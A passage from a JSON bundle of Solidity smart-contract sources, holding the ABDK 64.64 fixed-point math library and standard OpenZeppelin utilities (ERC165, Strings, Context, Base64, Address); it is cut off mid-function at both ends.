Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y signed 256-bit integer number\n * @return signed 256-bit integer number\n */\n function muli (int128 x, int256 y) internal pure returns (int256) {\n unchecked {\n if (x == MIN_64x64) {\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\n y <= 0x1000000000000000000000000000000000000000000000000);\n return -y << 63;\n } else {\n bool negativeResult = false;\n if (x < 0) {\n x = -x;\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint256 absoluteResult = mulu (x, uint256 (y));\n if (negativeResult) {\n require (absoluteResult <=\n 0x8000000000000000000000000000000000000000000000000000000000000000);\n return -int256 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int256 (absoluteResult);\n }\n }\n }\n }\n\n /**\n * Calculate x * y rounding down, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64 fixed point number\n * @param y unsigned 256-bit integer number\n * @return unsigned 256-bit integer number\n */\n function mulu (int128 x, uint256 y) internal pure returns (uint256) {\n unchecked {\n if (y == 0) return 0;\n\n require (x >= 0);\n\n uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64;\n uint256 hi = uint256 (int256 (x)) * (y >> 128);\n\n require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n hi <<= 64;\n\n require (hi <=\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo);\n return hi + lo;\n }\n }\n\n /**\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function div (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n int256 result = (int256 (x) << 64) / y;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x signed 256-bit integer number\n * @param y signed 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divi (int256 x, int256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n\n bool negativeResult = false;\n if (x < 0) {\n x = -x; // We rely on overflow behavior here\n negativeResult = true;\n }\n if (y < 0) {\n y = -y; // We rely on overflow behavior here\n negativeResult = !negativeResult;\n }\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\n if (negativeResult) {\n require (absoluteResult <= 0x80000000000000000000000000000000);\n return -int128 (absoluteResult); // We rely on overflow behavior here\n } else {\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return int128 (absoluteResult); // We rely on overflow behavior here\n }\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return signed 64.64-bit fixed point number\n */\n function divu (uint256 x, uint256 y) internal pure returns (int128) {\n unchecked {\n require (y != 0);\n uint128 result = divuu (x, y);\n require (result <= uint128 (MAX_64x64));\n return int128 (result);\n }\n }\n\n /**\n * Calculate -x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function neg (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return -x;\n }\n }\n\n /**\n * Calculate |x|. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function abs (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != MIN_64x64);\n return x < 0 ? -x : x;\n }\n }\n\n /**\n * Calculate 1 / x rounding towards zero. Revert on overflow or when x is\n * zero.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function inv (int128 x) internal pure returns (int128) {\n unchecked {\n require (x != 0);\n int256 result = int256 (0x100000000000000000000000000000000) / x;\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function avg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n return int128 ((int256 (x) + int256 (y)) >> 1);\n }\n }\n\n /**\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\n * Revert on overflow or in case x * y is negative.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function gavg (int128 x, int128 y) internal pure returns (int128) {\n unchecked {\n int256 m = int256 (x) * int256 (y);\n require (m >= 0);\n require (m <\n 0x4000000000000000000000000000000000000000000000000000000000000000);\n return int128 (sqrtu (uint256 (m)));\n }\n }\n\n /**\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\n * and y is unsigned 256-bit integer number. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @param y uint256 value\n * @return signed 64.64-bit fixed point number\n */\n function pow (int128 x, uint256 y) internal pure returns (int128) {\n unchecked {\n bool negative = x < 0 && y & 1 == 1;\n\n uint256 absX = uint128 (x < 0 ? -x : x);\n uint256 absResult;\n absResult = 0x100000000000000000000000000000000;\n\n if (absX <= 0x10000000000000000) {\n absX <<= 63;\n while (y != 0) {\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x2 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x4 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n if (y & 0x8 != 0) {\n absResult = absResult * absX >> 127;\n }\n absX = absX * absX >> 127;\n\n y >>= 4;\n }\n\n absResult >>= 64;\n } else {\n uint256 absXShift = 63;\n if (absX < 0x1000000000000000000000000) { absX <<= 32; absXShift -= 32; }\n if (absX < 0x10000000000000000000000000000) { absX <<= 16; absXShift -= 16; }\n if (absX < 0x1000000000000000000000000000000) { absX <<= 8; absXShift -= 8; }\n if (absX < 0x10000000000000000000000000000000) { absX <<= 4; absXShift -= 4; }\n if (absX < 0x40000000000000000000000000000000) { absX <<= 2; absXShift -= 2; }\n if (absX < 0x80000000000000000000000000000000) { absX <<= 1; absXShift -= 1; }\n\n uint256 resultShift = 0;\n while (y != 0) {\n require (absXShift < 64);\n\n if (y & 0x1 != 0) {\n absResult = absResult * absX >> 127;\n resultShift += absXShift;\n if (absResult > 0x100000000000000000000000000000000) {\n absResult >>= 1;\n resultShift += 1;\n }\n }\n absX = absX * absX >> 127;\n absXShift <<= 1;\n if (absX >= 0x100000000000000000000000000000000) {\n absX >>= 1;\n absXShift += 1;\n }\n\n y >>= 1;\n }\n\n require (resultShift < 64);\n absResult >>= 64 - resultShift;\n }\n int256 result = negative ? -int256 (absResult) : int256 (absResult);\n require (result >= MIN_64x64 && result <= MAX_64x64);\n return int128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down. Revert if x < 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function sqrt (int128 x) internal pure returns (int128) {\n unchecked {\n require (x >= 0);\n return int128 (sqrtu (uint256 (int256 (x)) << 64));\n }\n }\n\n /**\n * Calculate binary logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function log_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n int256 msb = 0;\n int256 xc = x;\n if (xc >= 0x10000000000000000) { xc >>= 64; msb += 64; }\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n int256 result = msb - 64 << 64;\n uint256 ux = uint256 (int256 (x)) << uint256 (127 - msb);\n for (int256 bit = 0x8000000000000000; bit > 0; bit >>= 1) {\n ux *= ux;\n uint256 b = ux >> 255;\n ux >>= 127 + b;\n result += bit * int256 (b);\n }\n\n return int128 (result);\n }\n }\n\n /**\n * Calculate natural logarithm of x. Revert if x <= 0.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function ln (int128 x) internal pure returns (int128) {\n unchecked {\n require (x > 0);\n\n return int128 (int256 (\n uint256 (int256 (log_2 (x))) * 0xB17217F7D1CF79ABC9E3B39803F2F6AF >> 128));\n }\n }\n\n /**\n * Calculate binary exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp_2 (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n uint256 result = 0x80000000000000000000000000000000;\n\n if (x & 0x8000000000000000 > 0)\n result = result * 0x16A09E667F3BCC908B2FB1366EA957D3E >> 128;\n if (x & 0x4000000000000000 > 0)\n result = result * 0x1306FE0A31B7152DE8D5A46305C85EDEC >> 128;\n if (x & 0x2000000000000000 > 0)\n result = result * 0x1172B83C7D517ADCDF7C8C50EB14A791F >> 128;\n if (x & 0x1000000000000000 > 0)\n result = result * 0x10B5586CF9890F6298B92B71842A98363 >> 128;\n if (x & 0x800000000000000 > 0)\n result = result * 0x1059B0D31585743AE7C548EB68CA417FD >> 128;\n if (x & 0x400000000000000 > 0)\n result = result * 0x102C9A3E778060EE6F7CACA4F7A29BDE8 >> 128;\n if (x & 0x200000000000000 > 0)\n result = result * 0x10163DA9FB33356D84A66AE336DCDFA3F >> 128;\n if (x & 0x100000000000000 > 0)\n result = result * 0x100B1AFA5ABCBED6129AB13EC11DC9543 >> 128;\n if (x & 0x80000000000000 > 0)\n result = result * 0x10058C86DA1C09EA1FF19D294CF2F679B >> 128;\n if (x & 0x40000000000000 > 0)\n result = result * 0x1002C605E2E8CEC506D21BFC89A23A00F >> 128;\n if (x & 0x20000000000000 > 0)\n result = result * 0x100162F3904051FA128BCA9C55C31E5DF >> 128;\n if (x & 0x10000000000000 > 0)\n result = result * 0x1000B175EFFDC76BA38E31671CA939725 >> 128;\n if (x & 0x8000000000000 > 0)\n result = result * 0x100058BA01FB9F96D6CACD4B180917C3D >> 128;\n if (x & 0x4000000000000 > 0)\n result = result * 0x10002C5CC37DA9491D0985C348C68E7B3 >> 128;\n if (x & 0x2000000000000 > 0)\n result = result * 0x1000162E525EE054754457D5995292026 >> 128;\n if (x & 0x1000000000000 > 0)\n result = result * 0x10000B17255775C040618BF4A4ADE83FC >> 128;\n if (x & 0x800000000000 > 0)\n result = result * 0x1000058B91B5BC9AE2EED81E9B7D4CFAB >> 128;\n if (x & 0x400000000000 > 0)\n result = result * 0x100002C5C89D5EC6CA4D7C8ACC017B7C9 >> 128;\n if (x & 0x200000000000 > 0)\n result = result * 0x10000162E43F4F831060E02D839A9D16D >> 128;\n if (x & 0x100000000000 > 0)\n result = result * 0x100000B1721BCFC99D9F890EA06911763 >> 128;\n if (x & 0x80000000000 > 0)\n result = result * 0x10000058B90CF1E6D97F9CA14DBCC1628 >> 128;\n if (x & 0x40000000000 > 0)\n result = result * 0x1000002C5C863B73F016468F6BAC5CA2B >> 128;\n if (x & 0x20000000000 > 0)\n result = result * 0x100000162E430E5A18F6119E3C02282A5 >> 128;\n if (x & 0x10000000000 > 0)\n result = result * 0x1000000B1721835514B86E6D96EFD1BFE >> 128;\n if (x & 0x8000000000 > 0)\n result = result * 0x100000058B90C0B48C6BE5DF846C5B2EF >> 128;\n if (x & 0x4000000000 > 0)\n result = result * 0x10000002C5C8601CC6B9E94213C72737A >> 128;\n if (x & 0x2000000000 > 0)\n result = result * 0x1000000162E42FFF037DF38AA2B219F06 >> 128;\n if (x & 0x1000000000 > 0)\n result = result * 0x10000000B17217FBA9C739AA5819F44F9 >> 128;\n if (x & 0x800000000 > 0)\n result = result * 0x1000000058B90BFCDEE5ACD3C1CEDC823 >> 128;\n if (x & 0x400000000 > 0)\n result = result * 0x100000002C5C85FE31F35A6A30DA1BE50 >> 128;\n if (x & 0x200000000 > 0)\n result = result * 0x10000000162E42FF0999CE3541B9FFFCF >> 128;\n if (x & 0x100000000 > 0)\n result = result * 0x100000000B17217F80F4EF5AADDA45554 >> 128;\n if (x & 0x80000000 > 0)\n result = result * 0x10000000058B90BFBF8479BD5A81B51AD >> 128;\n if (x & 0x40000000 > 0)\n result = result * 0x1000000002C5C85FDF84BD62AE30A74CC >> 128;\n if (x & 0x20000000 > 0)\n result = result * 0x100000000162E42FEFB2FED257559BDAA >> 128;\n if (x & 0x10000000 > 0)\n result = result * 0x1000000000B17217F7D5A7716BBA4A9AE >> 128;\n if (x & 0x8000000 > 0)\n result = result * 0x100000000058B90BFBE9DDBAC5E109CCE >> 128;\n if (x & 0x4000000 > 0)\n result = result * 0x10000000002C5C85FDF4B15DE6F17EB0D >> 128;\n if (x & 0x2000000 > 0)\n result = result * 0x1000000000162E42FEFA494F1478FDE05 >> 128;\n if (x & 0x1000000 > 0)\n result = result * 0x10000000000B17217F7D20CF927C8E94C >> 128;\n if (x & 0x800000 > 0)\n result = result * 0x1000000000058B90BFBE8F71CB4E4B33D >> 128;\n if (x & 0x400000 > 0)\n result = result * 0x100000000002C5C85FDF477B662B26945 >> 128;\n if (x & 0x200000 > 0)\n result = result * 0x10000000000162E42FEFA3AE53369388C >> 128;\n if (x & 0x100000 > 0)\n result = result * 0x100000000000B17217F7D1D351A389D40 >> 128;\n if (x & 0x80000 > 0)\n result = result * 0x10000000000058B90BFBE8E8B2D3D4EDE >> 128;\n if (x & 0x40000 > 0)\n result = result * 0x1000000000002C5C85FDF4741BEA6E77E >> 128;\n if (x & 0x20000 > 0)\n result = result * 0x100000000000162E42FEFA39FE95583C2 >> 128;\n if (x & 0x10000 > 0)\n result = result * 0x1000000000000B17217F7D1CFB72B45E1 >> 128;\n if (x & 0x8000 > 0)\n result = result * 0x100000000000058B90BFBE8E7CC35C3F0 >> 128;\n if (x & 0x4000 > 0)\n result = result * 0x10000000000002C5C85FDF473E242EA38 >> 128;\n if (x & 0x2000 > 0)\n result = result * 0x1000000000000162E42FEFA39F02B772C >> 128;\n if (x & 0x1000 > 0)\n result = result * 0x10000000000000B17217F7D1CF7D83C1A >> 128;\n if (x & 0x800 > 0)\n result = result * 0x1000000000000058B90BFBE8E7BDCBE2E >> 128;\n if (x & 0x400 > 0)\n result = result * 0x100000000000002C5C85FDF473DEA871F >> 128;\n if (x & 0x200 > 0)\n result = result * 0x10000000000000162E42FEFA39EF44D91 >> 128;\n if (x & 0x100 > 0)\n result = result * 0x100000000000000B17217F7D1CF79E949 >> 128;\n if (x & 0x80 > 0)\n result = result * 0x10000000000000058B90BFBE8E7BCE544 >> 128;\n if (x & 0x40 > 0)\n result = result * 0x1000000000000002C5C85FDF473DE6ECA >> 128;\n if (x & 0x20 > 0)\n result = result * 0x100000000000000162E42FEFA39EF366F >> 128;\n if (x & 0x10 > 0)\n result = result * 0x1000000000000000B17217F7D1CF79AFA >> 128;\n if (x & 0x8 > 0)\n result = result * 0x100000000000000058B90BFBE8E7BCD6D >> 128;\n if (x & 0x4 > 0)\n result = result * 0x10000000000000002C5C85FDF473DE6B2 >> 128;\n if (x & 0x2 > 0)\n result = result * 0x1000000000000000162E42FEFA39EF358 >> 128;\n if (x & 0x1 > 0)\n result = result * 0x10000000000000000B17217F7D1CF79AB >> 128;\n\n result >>= uint256 (int256 (63 - (x >> 64)));\n require (result <= uint256 (int256 (MAX_64x64)));\n\n return int128 (int256 (result));\n }\n }\n\n /**\n * Calculate natural exponent of x. Revert on overflow.\n *\n * @param x signed 64.64-bit fixed point number\n * @return signed 64.64-bit fixed point number\n */\n function exp (int128 x) internal pure returns (int128) {\n unchecked {\n require (x < 0x400000000000000000); // Overflow\n\n if (x < -0x400000000000000000) return 0; // Underflow\n\n return exp_2 (\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\n }\n }\n\n /**\n * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit\n * integer numbers. Revert on overflow or when y is zero.\n *\n * @param x unsigned 256-bit integer number\n * @param y unsigned 256-bit integer number\n * @return unsigned 64.64-bit fixed point number\n */\n function divuu (uint256 x, uint256 y) private pure returns (uint128) {\n unchecked {\n require (y != 0);\n\n uint256 result;\n\n if (x <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\n result = (x << 64) / y;\n else {\n uint256 msb = 192;\n uint256 xc = x >> 192;\n if (xc >= 0x100000000) { xc >>= 32; msb += 32; }\n if (xc >= 0x10000) { xc >>= 16; msb += 16; }\n if (xc >= 0x100) { xc >>= 8; msb += 8; }\n if (xc >= 0x10) { xc >>= 4; msb += 4; }\n if (xc >= 0x4) { xc >>= 2; msb += 2; }\n if (xc >= 0x2) msb += 1; // No need to shift xc anymore\n\n result = (x << 255 - msb) / ((y - 1 >> msb - 191) + 1);\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 hi = result * (y >> 128);\n uint256 lo = result * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n\n uint256 xh = x >> 192;\n uint256 xl = x << 64;\n\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n lo = hi << 128;\n if (xl < lo) xh -= 1;\n xl -= lo; // We rely on overflow behavior here\n\n assert (xh == hi >> 128);\n\n result += xl / y;\n }\n\n require (result <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\n return uint128 (result);\n }\n }\n\n /**\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\n * number.\n *\n * @param x unsigned 256-bit integer number\n * @return unsigned 128-bit integer number\n */\n function sqrtu (uint256 x) private pure returns (uint128) {\n unchecked {\n if (x == 0) return 0;\n else {\n uint256 xx = x;\n uint256 r = 1;\n if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; }\n if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; }\n if (xx >= 0x100000000) { xx >>= 32; r <<= 16; }\n if (xx >= 0x10000) { xx >>= 16; r <<= 8; }\n if (xx >= 0x100) { xx >>= 8; r <<= 4; }\n if (xx >= 0x10) { xx >>= 4; r <<= 2; }\n if (xx >= 0x4) { r <<= 1; }\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1;\n r = (r + x / r) >> 1; // Seven iterations should be enough\n uint256 r1 = x / r;\n return uint128 (r < r1 ? r : r1);\n }\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n uint256 temp = value;\n uint256 length = 0;\n while (temp != 0) {\n length++;\n temp >>= 8;\n }\n return toHexString(value, length);\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Base64.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n *\n * _Available since v4.5._\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory 